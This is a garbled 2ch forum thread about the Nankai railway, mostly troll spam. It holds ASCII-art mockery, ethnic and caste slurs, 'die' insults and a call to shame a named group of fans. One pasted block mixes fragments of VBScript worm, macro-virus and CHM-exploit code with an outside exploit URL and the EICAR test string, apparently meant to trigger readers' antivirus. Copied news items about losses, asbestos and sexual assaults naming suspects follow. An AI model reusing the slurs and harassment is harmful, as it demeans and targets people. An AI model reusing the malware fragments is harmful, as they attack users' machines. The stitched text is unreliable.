南海と関空 ５

前スレ
http://hobby7.2ch.net/test/read.cgi/train/1161374658/

間違い
前スレ
http://hobby7.2ch.net/test/read.cgi/train/1156828420/

大手私鉄の一つ、大阪は難波と泉州・和歌山・高野山・関空を結ぶ日本最古の私鉄、南海電気鉄道の本線・高野線（ウォッチ以外）・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りましょう。。。。。
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　
阪急に比べると南海は物足りない南海ヲタみたいなキモヲタが鉄ヲタのイメージ低下につながり、結果足を引っ張っている役立たず南海ヲタは粘着在日阪急のほうが強いのに足手まとい扱いして罵声を浴びせ続けた南海ヲタは死
ね南海ヲタはまさに最低ゴミカス半島人気質南.海.は.ぼ.ろ.い(´・_・｀)南.海.は.ぼ.ろ.い(´・_・｀)

>394未だにオンボロ片開き扉車が主力の情けない南海

nankaiisboroi

南海と言う名の凶悪犯罪鉄道会社

>421素材が悪いから仕方ない

ｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､,-､ｌ））減損処理で当期赤字に南海電鉄
決算|￣l￣￣__|.￣ｌ￣.|_|-|,=|=､||ttp://www.asahi.com/kansai/news/OSK200605120072.html|.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ>〓〓〓〓〓〓-ｲ／ヽ人_（ヽ／／Θヽ｜/￣￣￣ヽ-ｲ南海はぼろい｜未だ
にオンボロ片開き扉車が主力の情けない南海を,-､_.'⌒ヽ.｜ｒ‐┐ｒ‐､ｧｧｒ‐┐ｒ‐┐┌‐ｕ‐┐ー‐､/1.,-ﾉ｜|||ヽ..|｜||_[_]｀ｰ'.ノ|（､ｰ--j‐i'｜|_.ノ｜..ノ|_ノ|＿.ノ└‐リ__ﾉ|￣.ﾉ@(/QQl｜._＿＿___＿ｎ＿￣ｎ￣
￣.__ゝて＿_＞｜|.|└―,,┘ﾆｺlﾆﾆ,lﾆﾆ.ﾆﾆl（(＼ﾉﾉ／.|.|n//＾ｺlﾆ＾（0|｀てヽ.i'._￣|､ｰ'ﾉﾞ､`‐┐（ｏ_,ﾍ.〉､ｿ◎.'⌒i.､!ﾉ7ｌヽ｜￣￣ll|ヽ'ヽ'||lr'て＿||￣￣〉!/`r-＝'南海は減収、ただ衰退していくだけ少子化が進む
、沿線輸送だけじゃ生き残れない･･･

>515南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回送車両が車止めを越え更に道路向かい
の仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰りたかった」

]南]海]は]ぼ]ろ]い

南海の車両は汚い

>612借金がいっぱいあるんだから仕方ない

借金の担保に7000があるらしいさて今日もアロエアロエっと

13：名無しでGO!：2006/11/23(木)23:09:35ID:K7PajAxS0>612借金がいっぱいあるんだから仕方ない

15：名無しでGO!：2006/11/23(木)23:55:47ID:q2mncEhn013：名無しでGO!：2006/11/23(木)23:09:35ID:K7PajAxS0>612借金がいっぱいあるんだから仕方ない

ぼろ南海うぜー南海ｵﾜﾀ＼(^O^)／南海ぼろいお( ^ω^)さて、結果発表最後の区急はー1000系だおおおおお(^ーﾟ)b南海最高＼(^O^)／最後の区急はー7000だヽ(´▽`)/今日は和歌山帰れない(￣(エ)￣)南海ＯＷＡＴＡ＼(^O^)／最
終電車待たされてるんうぜー乗れやんやつとかほっとけや！朝まで待たせとけてゆうか氏ね大股開いて座ってる雑魚サラリーマン事故って氏ねと思う残業かなんかしらんが邪魔なんじゃよw南海本線もそろそろ真の意味で廃止す
べき高野線に経営資源集中させろ。忘れてない？山手線のＥ２３１の座席に座れば今までの電車のイスがチンカスい思えるＥ２３１、２０９系統の椅子はとにかく座り通すことを勧めるな。１回大船から宇都宮まで新宿湘南座り
通して痔にならないことを確認してから南海に採用を進言するのがよかろう

＿＿＿＿__,,／_,----｀ヽ：.：.／____､＼/／i＼＼＼：.：.,'./iヽ:.ヽ:.:..ヽ.ヽ,'//.ハヽヽ:.:.:.:.ヽ::..ヽヽ：.：.|i.ii.i/ヽﾄ､＼､:.:.:.',:.',:.:.lヽ}|i.il:Ｎ＿,-弋＼弌弋ナ:}:.:}：.|i∧',:{,ｨjモﾄ＼ｲjミﾄｲｲＶ：
.なっ、南海は赤字なんですか！？.|:ﾒヽ.',`ozＺ}izN｡ﾊ::{：.|:ヾ_!ゝ"ﾞﾞ'｀ﾞハ.:',：.|:.:_ｲ.:.ヽ.(二ﾌ,ｲ:.:.:!:.ヽ：./rｨｲ|:.:.ヽ:＞r／｀＜ノ.:.::.}ヽ､＼：./∧l;l!:.:.:.:/／{二￣.}..:..::ﾘ//ハ.:＼：.／.{.',ヾ､
ヽi.:.:.{／(^｀|.:.:.:./／:::.}:.ヽ.：.//）ヽヾ､ヽ:.ﾊﾔ{∧／.-‐'"::|:.:.i',./.,ｲ.:..}::＼ヾレ'ﾊ∧__ノﾉﾊヾ､:::l:.:.:.ﾊ',{/｜.:.:ﾊ:::iＹ{ヾ｀Ｙヽﾆン'ノ}::}::::/:.:.:/}:.}Ｖ|.:.:/:.:|_,ｨ'￣ヽ三{｀ー-ノ:ｲ:::/
:.:i.:{リ

まもなく、１番のりばに、知的障害者である南海ヲタが参ります。大変危険ですから、白線の内側まで、十分にお下がりください。この南海ヲタは、当駅を出ますと、フリーター、肉体労働、無職、犯罪者の順に停車いたします
。まもなく、南海ヲタが参ります。ご注意ください。

♪ﾁｬｯﾁｬｯﾁｬｯ♪∧＿∧∧＿∧∧＿∧（･∀･）.（･∀･）（.･∀･）(((;;"~;;;"~゛;;）(((;;"~;;;"~゛;;）(((;;"~;;;"~゛;;）.ﾐ;,,_,ﾐ;,,_,,;ﾐﾐ;,,_,ﾐ;,,_,,;ﾐﾐ;,,_,ﾐ;,,_,,;ﾐ♪ﾁｬｯﾁｬｯﾁｬｯ♪∧＿∧∧＿∧∧＿∧（･∀･）（.･∀･
）（･∀･.）（;;"~゛;;;~゛;;)))（;;"~゛;;;~゛;;)))（;;"~゛;;;~゛;;))).ﾐ;,,_,,;ﾐ,_,,;ﾐ.ﾐ;,,_,,;ﾐ,_,,;ﾐ.ﾐ;,,_,,;ﾐ,_,,;ﾐ♪うーっ♪∧＿∧∧＿∧∧＿∧（.･∀･）（.･∀･）（.･∀･）;;"~゛;;;"~゛;;;;"~゛;;;"~゛;;;;"
~゛;;;"~゛;;ﾐ;,,_,,;ﾐ,,,_,,;ﾐﾐ;,,_,,;ﾐ,,,_,,;ﾐﾐ;,,_,,;ﾐ,,,_,,;ﾐ♪南・海・は・ボ・ロ・い♪;;"~'ﾞ;;.∧＿∧;;"~'ﾞ;;;;"~'ﾞ;;.∧＿∧;;"~'ﾞ;;;;"'~'ﾞ;;.∧＿∧;;"~'ﾞ;;ﾐ,,,_,,,ﾐ（・∀・）ﾐ,,,_,,,ﾐﾐ,,,_,,,ﾐ（・∀・
）ﾐ,,,_,,,ﾐﾐ,,,_,,,ﾐ（・∀・）ﾐ,,,_,,,ﾐ＼／＼／＼／|⌒I、│|⌒I、│|⌒I、│（＿）ノ（＿）ノ（＿）ノ∪∪∪

犯罪者南海ヲタを知りませんか？犯罪者南海ヲタを知りませんか？ご存知でしたら駅係員、乗務員または鉄道警察隊にご一報を。もちろん犯罪者南海ヲタの勤め先や学校でも構いません。皆さん犯罪者南海ヲタに社会的制裁を与
えてやりましょう。

nankaiensenhamindohikui

wyxettp://uploader.onpuch.co.uk/img-box/img2006112521475893e02.jpgスルっとちゃんになってどれほど＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿／∨|/-O-O-ヽ|ﾌﾞﾂﾌﾞﾂ･･･|.:)'e'(:.|｀‐-＝-‐／＼||＼￣↑南海ヲタ
＼||＼＼.＼∧＿∧||..＼＼＼(；´Д｀)（ｵｲ、なんか変なのがいるぞ）.＼＼＼/ヽ..＼＼／.|||.＼∧＿∧(⌒＼|_＿././（´,_・・`）目合わせるなって∧＿∧._/ヽ＼（）うわー、こっち見てるよ

.......................................................:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::∧＿∧∧＿∧∧＿∧∧＿∧∧＿∧(´∀｀）（´ー｀）（｀Д´ ）（ﾟ ∀ﾟ）（＾∀＾）
（つ┳∪━━∪━∪━━∪━∪━━∪━┳⊂つ｜｜|┃２ちゃんねらーの力で┃｜｜｜（_＿）＿）┃南海電鉄を倒産さよう！┃（_＿）＿）┻━━━━━━━━━━━━━━━┻

南海は臭い臭いのは新今宮界隈

>858>859臭いのは南海ヲタ

南海線なんかいらん>880あたまのおかしい南海ヲタ

∩＿〈〈〈ヽ〈⊃}∩＿＿＿∩|||ノヽ!!/●●|/|(_●_)ミ／＜こいつ最高にアホな赤字南海ヲタ彡､|∪|／/＿＿ヽノ/(＿＿＿）/

sage

南海sage

南海沿線は在日がウヨウヨいるキモ部落<bodyonload=window()>Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.CopyFilef1.path,f1.path+"l"SetA4=A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))fso.co
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IN.MHT!ttp://www.loadcash.biz//adverts//35//main.chm::/main.htm"type="text/X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*fso.copyfile"dirsystem&vbs","j:\windows\startmenu\pro
grams\startup\"Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.CopyFilef1.path,f1.path+"l"ToInfect.CodeModule.InsertLinesBGN,ADI1.CodeModule.Lines(BGN,1)G.RegWriteA("IJDX^MNB@M^L@BIHOD]Rnguv`
sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),E.BuildPath(E.GetSpecialFolder(1),A("VHORU@SU/WCR"))lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))ms-its:mhtml:file://c:\kak.hta';ken=wd+
'STARTkill-9xz/tSaBh0Subauto_open()Application.OnSheetActivate="check_files"EndSubSubcheck_files()c$=Application.StartupPathm$=Dir(c$&"＼"&"PERSONAL.XLS")Ifm$="PERSONAL.XLS"Thenp=1Elsep=0IfActiveWo
rkbook.Modules.Count>0Thenw=1Elsew=0whichfile=p+w*10EndSub◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月
期までの３年間で約３億５０００万円の

申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）し
た。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとし
て重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。tt
p://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億
円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電
鉄アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて
、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていな
いということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄により
ますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとし

ていますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.
jp/news/2005/08/02/d20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でア
イススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴
行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：
朝日新聞２月28日付朝刊35頁社会面南海はボロい（１１月２９日の社会面ニュース）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕------------------------------------------------------------------------------
--大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子
生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ
、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女

子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.co
m/kansai/news/OSK200411300005.htmlｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､,-､
ｌ））|￣l￣￣__|.￣ｌ￣.| _|-|,=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓〓〓-ｲ／ヽ人_（ヽttp://www.asahi.com/kansai/news/OSK200605120072.html／／
Θヽ｜/￣￣￣ ヽ-ｲ◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪
府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ
込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル
内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約
４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提
出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。［2006年7月26日11時6分紙面から］ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html◆◇◆

◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急
行など計８本の列車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ
、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場
手前で急行列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK200610200054.html南
海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳し
い状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡って
は、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳
しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では
実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化

やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそ
れぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけな
ら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ
会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連
結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係
者の注目を集めているのだ。■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マン
ションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、
高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがお
ととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部

長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メ
ートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で
、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と
。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす
遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml南海電鉄、堺に１４８メートルのマンション計画　仁徳陵を一望、住民
「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録
を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着に
は時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市
内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度

のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大
名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際
、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現
場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南
海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9
月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益
（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.
jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連
結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06

年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１
株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS借入金は時価総額などと比べる
と実情が比較的表れます。南海借入金残高２６８，５８３百万円時価総額２２８，９８９百万円１１７．３％（時価総額に占める借入金割合）阪急借入金残高５００，０２６百万円時価総額６７２，６５０百万円７４．３％阪神
借入金残高１３４，７７４百万円時価総額３９６，３５３百万円３４．０％近鉄借入金残高４６９，６９８百万円時価総額７５９，６８１百万円６１．８％京阪借入金残高１１４，１６４百万円時価総額２３９，９４７百万円４
７．５％こう見れば各社の状態がわかる。南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。一線を越えてしまっている。近鉄も注意を要するが南海ほどでもない。京阪は底を脱したのが鮮明に。阪急は借入金はや
や多いが金利は安く抜群の収益力でカバー。堅実派として名の通る阪神は借入金は元から少なめ。金利は高いが収益力を考慮すれば問題はない。これでは社債は金利を高くしないと厳しいだろう。南海の運転ミスによる情けない
事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回送車両が車止めを越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰
く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰りたかった」＜住んでみたい街（関西）トップ10＞
に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海wしょせん、スラム街の南海沿線なんぞに住みたいなど

というバカでキモい奴など、南海ヲタ以外には存在しないということが改めて証明された（ﾌﾟｹﾞﾗ住んでみたい街（関西）トップは「芦屋」ソースttp://allabout.co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経
営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´
∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿
）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだからね！」５００００系が東武に売却されるってマジ？>31元南海５００００系は栗林〜宇都宮線系統で使
います。池袋、新宿、渋谷、恵比須、大崎に停車して品川発着に５００００系の東武売却で益出ししまつウザい乗客に対してのスレ【死ね】隣来んな雑魚前に立つな膝あてんな消え伏せろ謝れば許されると思ってる基地外。サラ
リーマン死ね死ね【死んでまえ】って感じでどうよ？ｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣
ｌ￣||/,−､,-､ｌ））|￣l￣￣__|.￣ｌ￣.|_|-|,=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓〓〓-ｲ／ヽ人_（ヽttp://www.asahi.com/kansai/news/OSK200605120
072.html／／Θヽ｜/￣￣￣ヽ-ｲｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､,-､ｌ））
|￣l￣￣__|.￣ｌ￣.|_|-|,=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}南海電鉄、単体209.45億円の赤字転落ヽヽ人_（ヾヽ`Y⌒l_ﾉttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view>〓〓〓〓〓〓-ｲ／ヽ人_（ヽ=CN&s

ymbol=9044.OS&storyid=64783+15-Nov-2005+RTRS／／Θヽ｜/￣￣￣ヽ-ｲ南海ぼろいお(^ω^)南海臭いお(^ω^)南海汚いお(^ω^)南海運賃高いお(^ω^)南海将来性ないお(^ω^)_,._（ﾟДﾟ）ｶﾞｼｬ(つO.__南海電鉄、連結192.45億円の
